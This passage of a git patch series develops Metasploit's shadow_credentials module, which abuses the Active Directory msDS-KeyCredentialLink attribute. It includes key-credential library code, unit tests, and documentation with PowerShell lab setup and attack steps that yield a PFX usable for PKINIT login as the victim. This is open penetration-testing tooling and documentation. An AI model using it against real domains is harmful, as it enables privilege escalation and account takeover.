:magic - uint32 :key_length, :value => lambda { exponent.length + modulus.length + prime1.length + prime2.length } + uint32 :key_length uint32 :exponent_length, :value => lambda { exponent.length } uint32 :modulus_length, :value => lambda { modulus.length } uint32 :prime1_length, :value => lambda { prime1.length } diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 3ee9a5bf684d..b9d3d48a88cc 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -66,7 +66,7 @@ def self.from_struct(cred_struct) obj.key_creation_time_raw = ft obj.key_creation_time = RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time - construct_cert_from_raw_material(obj) + construct_public_key_from_raw_material(obj) obj end @@ -130,6 +130,7 @@ def calculate_raw_key_material when KEY_USAGE_NGC result = Rex::Proto::BcryptPublicKey.new result.magic = 0x31415352 + result.key_length = self.public_key.n.num_bits n = self.class.int_to_bytes(self.public_key.n) e = self.class.int_to_bytes(self.public_key.e) result.exponent = e @@ -143,7 +144,7 @@ def calculate_raw_key_material self.key_id = sha256.digest(self.raw_key_material) end - def self.construct_cert_from_raw_material(obj) + def self.construct_public_key_from_raw_material(obj) case obj.key_usage when KEY_USAGE_NGC result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb index f9f8e23a3ed7..c894ed4895c4 100755 --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -51,15 +51,6 @@ def initialize(info = {}) ]) end - def generate_key_and_cert(subject) - key = OpenSSL::PKey::RSA.new(2048) - cert = OpenSSL::X509::Certificate.new - cert.public_key = cert.public_key - cert.subject = OpenSSL::X509::Name.parse(subject) - - [key, cert] - end - def fail_with_ldap_error(message) ldap_result = @ldap.get_operation_result.table return if ldap_result[:code] == 0 @@ -144,25 +135,6 @@ def run print_error("#{e.class}: #{e.message}") end - def bytes_to_uuid(bytes) - # Convert each byte to a 2-digit hexadecimal string - hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } - - # Arrange the hex strings in the correct order for UUID format - uuid_parts = [ - hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) - hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) - hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) - hex_strings[8..9].join, # Next 2 bytes (big-endian) - hex_strings[10..15].join # Last 6 bytes (big-endian) - ] - - # Join the parts with hyphens to form the complete UUID - uuid = uuid_parts.join('-') - - return uuid - end - def action_list(obj) credential_entries = obj[ATTRIBUTE] if credential_entries.nil? @@ -213,7 +185,7 @@ def action_add(obj) if credential_entries.nil? credential_entries = [] end - key, cert = generate_key_and_cert + key, cert = generate_key_and_cert(datastore['TARGET_USER']) credential = Rex::Proto::MsAdts::KeyCredential.new credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC) now = ::Time.now @@ -225,7 +197,10 @@ def action_add(obj) fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") end - print_good("Successfully updated the #{ATTRIBUTE} attribute.") + pkcs12 = OpenSSL::PKCS12.create('', '', key, cert) + store_cert(pkcs12) + + print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{bytes_to_uuid(credential.device_id)}") end def store_cert(pkcs12) @@ -237,7 +212,7 @@ def store_cert(pkcs12) protocol: service_data[:proto], service_name: service_data[:name], workspace_id: myworkspace_id, - username: datastore['USERNAME'], + username: datastore['TARGET_USER'], private_type: :pkcs12, # pkcs12 is a binary format, but for persisting we Base64 encode it private_data: Base64.strict_encode64(pkcs12.to_der), @@ -246,6 +221,7 @@ def store_cert(pkcs12) } create_credential(credential_data) + info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate" stored_path = store_loot('windows.shadowcreds', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) print_status("Certificate stored at: #{stored_path}") end @@ -268,4 +244,37 @@ def credentials_to_ldap_format(entries, dn) dn_binary.encode end end + + def bytes_to_uuid(bytes) + # Convert each byte to a 2-digit hexadecimal string + hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } + + # Arrange the hex strings in the correct order for UUID format + uuid_parts = [ + hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) + hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) + hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) + hex_strings[8..9].join, # Next 2 bytes (big-endian) + hex_strings[10..15].join # Last 6 bytes (big-endian) + ] + + # Join the parts with hyphens to form the complete UUID + uuid = uuid_parts.join('-') + + return uuid + end + + def generate_key_and_cert(subject) + key = OpenSSL::PKey::RSA.new(2048) + cert = OpenSSL::X509::Certificate.new + cert.public_key = key.public_key + cert.issuer = OpenSSL::X509::Name.new([['CN', subject]]) + cert.subject = OpenSSL::X509::Name.new([['CN', subject]]) + yr = 24 * 3600 * 365 + cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr) + cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr)) + cert.sign(key, OpenSSL::Digest.new('SHA256')) + + [key, cert] + end end From 816d834f8390fb5e0524d57f651ae76ecd6a37d1 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 3 Apr 2024 16:47:47 +1100 Subject: [PATCH 06/14] Add dn-binary unit tests --- spec/lib/rex/proto/ldap/dn_binary_spec.rb | 36 +++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100755 spec/lib/rex/proto/ldap/dn_binary_spec.rb diff --git a/spec/lib/rex/proto/ldap/dn_binary_spec.rb b/spec/lib/rex/proto/ldap/dn_binary_spec.rb new file mode 100755 index 000000000000..d83632f1b1de --- /dev/null +++ b/spec/lib/rex/proto/ldap/dn_binary_spec.rb @@ -0,0 +1,36 @@ +require 'securerandom' + +RSpec.describe Rex::Proto::LDAP::DnBinary do + let(:dn) do + 'CN=User,CN=Users,DC=msf,DC=local' + end + + let(:data) do + 'abc123' + end + + let(:sample) do + described_class.new(dn, data) + end + + it 'encodes to the expected value' do + expect(sample.encode).to eq('B:12:616263313233:CN=User,CN=Users,DC=msf,DC=local') + end + + it 'encodes an empty value' do + initial = described_class.new(dn, '') + encoded = initial.encode + expect(encoded).to eq('B:0::CN=User,CN=Users,DC=msf,DC=local') + decoded = described_class.decode(encoded) + expect(decoded.data).to eq('') + end + + it 'reversibly decodes a random value' do + data = SecureRandom.bytes((SecureRandom.rand * 100).to_i + 1) + initial = described_class.new(dn, data) + encoded = initial.encode + decoded = described_class.decode(encoded) + expect(decoded.dn).to eq(initial.dn) + expect(decoded.data).to eq(initial.data) + end +end From 209d9dfab00985044f6993749caea79d789f5a0d Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 3 Apr 2024 16:50:01 +1100 Subject: [PATCH 07/14] Help user when they've made a typical mistake --- .../admin/ldap/shadow_credentials.rb | 32 ++++++++++++++++--- 1 file changed, 28 insertions(+), 4 deletions(-) mode change 100755 => 100644 modules/auxiliary/admin/ldap/shadow_credentials.rb diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb old mode 100755 new mode 100644 index c894ed4895c4..1584ae48bdcb --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -49,6 +49,13 @@ def initialize(info = {}) OptString.new('TARGET_USER', [ true, 'The target to write to' ]), OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]), ]) + + # Default authentication will be basic auth, which won't work on Windows LDAP servers; so overwrite default to NTLM + register_advanced_options( + [ + OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), + ] + ) end def fail_with_ldap_error(message) @@ -61,7 +68,7 @@ def fail_with_ldap_error(message) when 1 fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}") when 16 - fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.') + fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.') when 50 fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.') when 51 @@ -79,6 +86,21 @@ def fail_with_ldap_error(message) fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}") end + def warn_on_likely_user_error(existing_entries: false) + ldap_result = @ldap.get_operation_result.table + if ldap_result[:code] == 50 + if (datastore['USERNAME'] == datastore['TARGET_USER'] || + datastore['USERNAME'] == datastore['TARGET_USER'] + '$') && + datastore['USERNAME'].end_with?('$') && + ['add', 'remove'].include?(action.name.downcase) && + existing_entries + print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).') + elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$') + print_warning('By default, only computer accounts can modify their own properties (not user accounts).') + end + end + end + def ldap_get(filter, attributes: []) raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first return nil unless raw_obj @@ -124,10 +146,10 @@ def run target_user = datastore['TARGET_USER'] obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) - if obj.nil? && !delegate_to.end_with?('$') + if obj.nil? && !target_user.end_with?('$') obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) end - fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj + fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj send("action_#{action.name.downcase}", obj) end @@ -155,12 +177,13 @@ def action_remove(obj) end length_before = credential_entries.length - credential_entries.delete_if { |entry| entry.device_id == datastore['DEVICE_ID'] } + credential_entries.delete_if { |entry| bytes_to_uuid(entry.device_id) == datastore['DEVICE_ID'] } if credential_entries.length == length_before print_status('No matching entries found - check device ID') else update_list = credentials_to_ldap_format(credential_entries, obj['dn']) unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list) + warn_on_likely_user_error fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") end print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}") @@ -194,6 +217,7 @@ def action_add(obj) update_list = credentials_to_ldap_format(credential_entries, obj['dn']) unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list) + warn_on_likely_user_error(!credential_entries.length == 1) fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") end From 049c3ebd1d84eb35cba6f121eb9b18944ff07d1c Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 3 Apr 2024 17:04:36 +1100 Subject: [PATCH 08/14] Promote constants to top of file --- lib/rex/proto/ms_adts/key_credential.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index b9d3d48a88cc..55156cf9cac9 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -8,10 +8,13 @@ class KeyCredential KEY_USAGE_FIDO = 0x07 KEY_USAGE_FEK = 0x08 + KEY_CREDENTIAL_VERSION_2 = 0x200 + DEFAULT_KEY_INFORMATION = "\x01\x00" # Version and flags + def initialize self.key_source = 0 self.device_id = SecureRandom.bytes(16) - self.custom_key_information = "\x01\x00" # Version and flags + self.custom_key_information = DEFAULT_KEY_INFORMATION end def set_key(public_key, key_usage) @@ -31,7 +34,7 @@ def set_times(last_logon_time, creation_time) # Creates a KeyCredentialStruct, including calculating the value for key_hash def to_struct result = KeyCredentialStruct.new - result.version = 0x200 + result.version = KEY_CREDENTIAL_VERSION_2 add_entry(result, 3, self.raw_key_material) add_entry(result, 4, [self.key_usage].pack('C')) add_entry(result, 5, [self.key_source].pack('C')) From 9f5444680f8216f9c3abcd05cb164e66d8b8931f Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 4 Apr 2024 08:58:18 +1100 Subject: [PATCH 09/14] Some error handling --- lib/rex/proto/bcrypt_public_key.rb | 1 + lib/rex/proto/ms_adts/key_credential.rb | 30 +++++++++++-------- .../admin/ldap/shadow_credentials.rb | 25 +++++++++------- .../rex/proto/ms_adts/key_credential_spec.rb | 3 +- 4 files changed, 33 insertions(+), 26 deletions(-) diff --git a/lib/rex/proto/bcrypt_public_key.rb b/lib/rex/proto/bcrypt_public_key.rb index df8cf7f3018b..40255336f50f 100755 --- a/lib/rex/proto/bcrypt_public_key.rb +++ b/lib/rex/proto/bcrypt_public_key.rb @@ -4,6 +4,7 @@ module Rex::Proto class BcryptPublicKey < BinData::Record + MAGIC = 0x31415352 endian :little uint32 :magic diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 55156cf9cac9..b2f2e6c2ced6 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -132,7 +132,7 @@ def calculate_raw_key_material case self.key_usage when KEY_USAGE_NGC result = Rex::Proto::BcryptPublicKey.new - result.magic = 0x31415352 + result.magic = Rex::Proto::BcryptPublicKey::MAGIC result.key_length = self.public_key.n.num_bits n = self.class.int_to_bytes(self.public_key.n) e = self.class.int_to_bytes(self.public_key.e) @@ -140,8 +140,10 @@ def calculate_raw_key_material result.modulus = n result.prime1 = '' result.prime2 = '' - self.raw_key_material = result.to_binary_s + else + # Unknown key type + return end sha256 = OpenSSL::Digest.new('SHA256') self.key_id = sha256.digest(self.raw_key_material) @@ -150,18 +152,20 @@ def calculate_raw_key_material def self.construct_public_key_from_raw_material(obj) case obj.key_usage when KEY_USAGE_NGC - result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) - key = OpenSSL::PKey::RSA.new - exponent = OpenSSL::BN.new(bytes_to_int(result.exponent)) - modulus = OpenSSL::BN.new(bytes_to_int(result.modulus)) - if key.respond_to?(:set_key) - # Ruby 2.4+ - key.set_key(modulus, exponent, nil) - else - key.e = exponent - key.n = modulus + if obj.raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I')) + result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) + key = OpenSSL::PKey::RSA.new + exponent = OpenSSL::BN.new(bytes_to_int(result.exponent)) + modulus = OpenSSL::BN.new(bytes_to_int(result.modulus)) + if key.respond_to?(:set_key) + # Ruby 2.4+ + key.set_key(modulus, exponent, nil) + else + key.e = exponent + key.n = modulus + end + obj.public_key = key end - obj.public_key = key end end end diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb index 1584ae48bdcb..b1f6b3b4c51b 100644 --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -86,14 +86,13 @@ def fail_with_ldap_error(message) fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}") end - def warn_on_likely_user_error(existing_entries: false) + def warn_on_likely_user_error ldap_result = @ldap.get_operation_result.table if ldap_result[:code] == 50 if (datastore['USERNAME'] == datastore['TARGET_USER'] || datastore['USERNAME'] == datastore['TARGET_USER'] + '$') && datastore['USERNAME'].end_with?('$') && - ['add', 'remove'].include?(action.name.downcase) && - existing_entries + ['add', 'remove'].include?(action.name.downcase) print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).') elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$') print_warning('By default, only computer accounts can modify their own properties (not user accounts).') @@ -144,14 +143,18 @@ def run end @ldap = ldap - target_user = datastore['TARGET_USER'] - obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) - if obj.nil? && !target_user.end_with?('$') - obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) - end - fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj + begin + target_user = datastore['TARGET_USER'] + obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) + if obj.nil? && !target_user.end_with?('$') + obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) + end + fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj - send("action_#{action.name.downcase}", obj) + send("action_#{action.name.downcase}", obj) + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) + end end rescue Net::LDAP::Error => e print_error("#{e.class}: #{e.message}") @@ -217,7 +220,7 @@ def action_add(obj) update_list = credentials_to_ldap_format(credential_entries, obj['dn']) unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list) - warn_on_likely_user_error(!credential_entries.length == 1) + warn_on_likely_user_error fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") end diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb index a4ab337f42dd..d2f10bd12451 100755 --- a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -1,8 +1,7 @@ require 'rex/proto/ms_adts/key_credential' require 'pry-byebug' -RSpec.describe Rex::Proto::MsAdts::KeyCredentialStruct do - subject(:object) { described_class.new } +RSpec.describe Rex::Proto::MsAdts::KeyCredential do let(:credential_str) do ["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" + From 5852fcbb78ad08237b76e71679c1f0cd738fc433 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 4 Apr 2024 09:34:41 +1100 Subject: [PATCH 10/14] Error handling and unit tests --- lib/rex/proto/ms_adts/key_credential.rb | 1 - .../auxiliary/admin/ldap/shadow_credentials.rb | 4 ++++ spec/lib/rex/proto/ldap/dn_binary_spec.rb | 16 ++++++++++++++++ .../lib/rex/proto/ms_adts/key_credential_spec.rb | 1 - 4 files changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index b2f2e6c2ced6..32bc2adcce3d 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -1,5 +1,4 @@ require 'securerandom' -require 'pry-byebug' module Rex::Proto::MsAdts class KeyCredential diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb index b1f6b3b4c51b..abf36182bb75 100644 --- a/modules/auxiliary/admin/ldap/shadow_credentials.rb +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -273,6 +273,10 @@ def credentials_to_ldap_format(entries, dn) end def bytes_to_uuid(bytes) + if bytes.nil? + return '(no device ID)' + end + # Convert each byte to a 2-digit hexadecimal string hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } diff --git a/spec/lib/rex/proto/ldap/dn_binary_spec.rb b/spec/lib/rex/proto/ldap/dn_binary_spec.rb index d83632f1b1de..0e5e32a47c18 100755 --- a/spec/lib/rex/proto/ldap/dn_binary_spec.rb +++ b/spec/lib/rex/proto/ldap/dn_binary_spec.rb @@ -25,6 +25,22 @@ expect(decoded.data).to eq('') end + it 'throws exception with completely wrong format' do + expect { described_class.decode('definitely not a DN string') }.to raise_error(ArgumentError) + end + + it 'throws exception without DN' do + expect { described_class.decode('B:12:616263313233') }.to raise_error(ArgumentError) + end + + it 'throws exception on odd number of hex chars' do + expect { described_class.decode('B:11:61626331323:the_dn') }.to raise_error(ArgumentError) + end + + it 'throws exception on inconsistent number of hex chars' do + expect { described_class.decode('B:12:626331323:the_dn') }.to raise_error(ArgumentError) + end + it 'reversibly decodes a random value' do data = SecureRandom.bytes((SecureRandom.rand * 100).to_i + 1) initial = described_class.new(dn, data) diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb index d2f10bd12451..26a8454213bb 100755 --- a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -1,5 +1,4 @@ require 'rex/proto/ms_adts/key_credential' -require 'pry-byebug' RSpec.describe Rex::Proto::MsAdts::KeyCredential do From 1ce29ae21efdff66d358a2167b3d6e92f8e3f276 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 4 Apr 2024 11:16:39 +1100 Subject: [PATCH 11/14] Make OpenSSL unit test work on all versions --- lib/rex/proto/ms_adts/key_credential.rb | 15 +++++---------- spec/lib/rex/proto/ms_adts/key_credential_spec.rb | 15 ++++++++++++++- 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 32bc2adcce3d..79ec172fee4e 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -153,16 +153,11 @@ def self.construct_public_key_from_raw_material(obj) when KEY_USAGE_NGC if obj.raw_key_material.start_with?([Rex::Proto::BcryptPublicKey::MAGIC].pack('I')) result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) - key = OpenSSL::PKey::RSA.new - exponent = OpenSSL::BN.new(bytes_to_int(result.exponent)) - modulus = OpenSSL::BN.new(bytes_to_int(result.modulus)) - if key.respond_to?(:set_key) - # Ruby 2.4+ - key.set_key(modulus, exponent, nil) - else - key.e = exponent - key.n = modulus - end + exponent = OpenSSL::ASN1::Integer.new(bytes_to_int(result.exponent)) + modulus = OpenSSL::ASN1::Integer.new(bytes_to_int(result.modulus)) + # OpenSSL's API has changed over time - constructing from DER has been consistent + data_sequence = OpenSSL::ASN1::Sequence([modulus, exponent]) + key = OpenSSL::PKey::RSA.new(data_sequence.to_der) obj.public_key = key end end diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb index 26a8454213bb..d4acd8fb4567 100755 --- a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -23,7 +23,20 @@ Rex::Proto::MsAdts::KeyCredentialStruct.read(raw) end - it 'reads correctly' do + it 'parses the expected value' do + expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct + credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) + expect(credential.public_key.e.to_i).to eq(65537) + expect(credential.public_key.n.to_i).to eq(30018598016909958640634853359759879550963200968043190152563783141554063738803530478839278609618973243780651826483205062757856223334872753534090760739709274582276885780114654791667392922235140822454036631549826712343512885423676381458429138803216305582530459349913700854720727598363220647901324366195130526789275685153466162756392687731569674974764917142530663770836683438609032320698328081684727231191567760732169431689494442498488083773992436698936823783263783535359718960574840595186049492067279886083653830420133872397484908514196242186454757791227057108296064066345936039955504692575343132997344017910838318287481) + expect(credential.key_approximate_last_logon_time_stamp).to eq('2024-03-27 09:43:05 +1100'.to_datetime) + expect(credential.key_creation_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime) + expect(credential.key_hash).to eq(['508e0ee3afa57294951857688e9a548d3a1fbfc6f74c1df91f1bf6ef994ca1fe'].pack('H*')) + expect(credential.device_id).to eq(["95c280f0bc6f290e4c8b6ad1d1b3545c"].pack('H*')) + expect(credential.key_id).to eq(["767b3c80129f41b40503d78436c1c2084c2b79dd81ac19545eaa09a0b1448b41"].pack('H*')) + expect(credential.key_usage).to eq(Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC) + end + + it 'writing is the inverse of reading' do expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) result = credential.to_struct.to_binary_s From b1d09180740d78fcf73a2473df3aeaf391964510 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 4 Apr 2024 12:23:45 +1100 Subject: [PATCH 12/14] Add documentation for module and functions --- .../admin/ldap/shadow_credentials.md | 264 ++++++++++++++++++ lib/rex/proto/ldap/dn_binary.rb | 7 + lib/rex/proto/ms_adts/key_credential.rb | 21 +- 3 files changed, 291 insertions(+), 1 deletion(-) create mode 100755 documentation/modules/auxiliary/admin/ldap/shadow_credentials.md diff --git a/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md new file mode 100755 index 000000000000..b35fc2e37bfc --- /dev/null +++ b/documentation/modules/auxiliary/admin/ldap/shadow_credentials.md @@ -0,0 +1,264 @@ +## Shadow Credentials Exploitation + +If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation. +This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have +the ability to write their own value (whereas user accounts do not). + +The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target. +When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file +can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services +are enabled within the domain. + +## Lab setup + +Set up a domain with AD CS configured. + +For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`). +Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below). + +From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment: + +```powershell +# Create a basic user account +net user /add sandy Password1! + +# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future +net user sandy /expires:never +Set-AdUser -Identity sandy -PasswordNeverExpires:$true +``` + +Grant Write privileges for sandy to the target account, i.e. `victim`: + +```powershell +# Remember to change victim to the name of your target user +$TargetUser = Get-ADUser 'victim' +$User = Get-ADUser 'sandy' + +# Add GenericWrite access to the user against the target computer +$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite" +$ControlType = [System.Security.AccessControl.AccessControlType] "Allow" +$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All" +$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType +$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)" +$TargetUserAcl.AddAccessRule($GenericWriteAce) +Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)" +``` + +Finally Verify the Write privileges for the sandy account: + +```powershell +PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim' +PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' } + +ActiveDirectoryRights : GenericWrite +InheritanceType : All +ObjectType : 00000000-0000-0000-0000-000000000000 +InheritedObjectType : 00000000-0000-0000-0000-000000000000 +ObjectFlags : None +AccessControlType : Allow +IdentityReference : MSFLAB\sandy +IsInherited : False +InheritanceFlags : ContainerInherit +PropagationFlags : None +``` + +## Module usage +1. `use auxiliary/admin/ldap/shadow_credentials` +2. Set the `RHOST` value to a target domain controller +3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges +4. Set the `TARGET_USER` to the victim account +5. Use the `ADD` action to add a credential entry to the victim account + +See the Scenarios for a more detailed walk through + +## Actions + +### FLUSH +Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just +the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users. + +### LIST +Read the credential entries and print the Device (Certificate) IDs of currently configured entries + +### REMOVE +Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID +instead of deleting the entire property. + +### ADD +Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values. + +## Options + +### TARGET_USER +The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION +(read, write, etc.). The authenticated user must have the appropriate access to this object. + +### DEVICE_ID +The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action. + +## Scenarios + +### Window Server 2022 Domain Controller, Targeting user account + +In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module. + +```msf +msf6 auxiliary(admin/ldap/shadow_credentials) > show options + +Module options (auxiliary/admin/ldap/shadow_credentials): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN no The domain to authenticate to + PASSWORD no The password to authenticate with + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 389 yes The target port + SSL false no Enable SSL on the LDAP connection + TARGET_USER yes The target to write to + USERNAME no The username to authenticate with + + + When ACTION is REMOVE: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DEVICE_ID no The 